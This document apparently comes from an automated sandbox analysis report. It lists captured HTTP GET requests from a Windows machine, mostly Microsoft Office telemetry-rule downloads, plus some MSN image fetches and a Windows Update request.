Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=5e8os9bOvel+5bK&MD=8kamYrNw HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
